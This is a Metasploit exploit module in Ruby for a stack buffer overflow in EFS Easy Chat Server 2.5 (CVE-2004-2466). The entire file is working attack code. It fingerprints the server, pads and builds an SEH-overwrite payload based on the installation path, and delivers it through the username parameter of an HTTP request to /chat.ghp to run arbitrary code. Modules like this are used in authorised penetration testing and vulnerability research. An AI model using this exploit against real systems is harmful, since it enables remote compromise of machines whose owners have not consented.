##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
        sending a overly long authentication request, an attacker may be able to execute
        arbitrary code.

        NOTE: The offset to SEH is influenced by the installation path of the program.
        The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
        with "\users\" and the string passed as the username HTTP paramter.
      },
      'Author'         => [ 'LSO <lso[at]hushmail.com>' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-2466' ],
          [ 'OSVDB', '7416' ],
          [ 'BID', '25328' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
        ],
      'DisclosureDate' => 'Aug 14 2007',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
          "C:\\Program Files\\Easy Chat Server" ])
      ], self.class )
  end

  def check
    info = http_fingerprint # check method
    # NOTE: Version 2.5 still reports "1.0" in the "Server" header
    if (info =~ /Easy Chat Server\/1\.0/)
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    # randomize some values.
    val = rand_text_alpha(rand(10) + 1)
    num = rand_text_numeric(1)

    path = datastore['PATH'] + "\\users\\"
    print_status("path: " + path)

    # exploit buffer.
    filler = rand_text_alpha(256 - path.length)
    seh    = generate_seh_payload(target.ret)
    juju = filler + seh

    uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"

    print_status("Trying target #{target.name}...")

    send_request_raw({'uri' => uri}, 5)

    handler
    disconnect
  end

end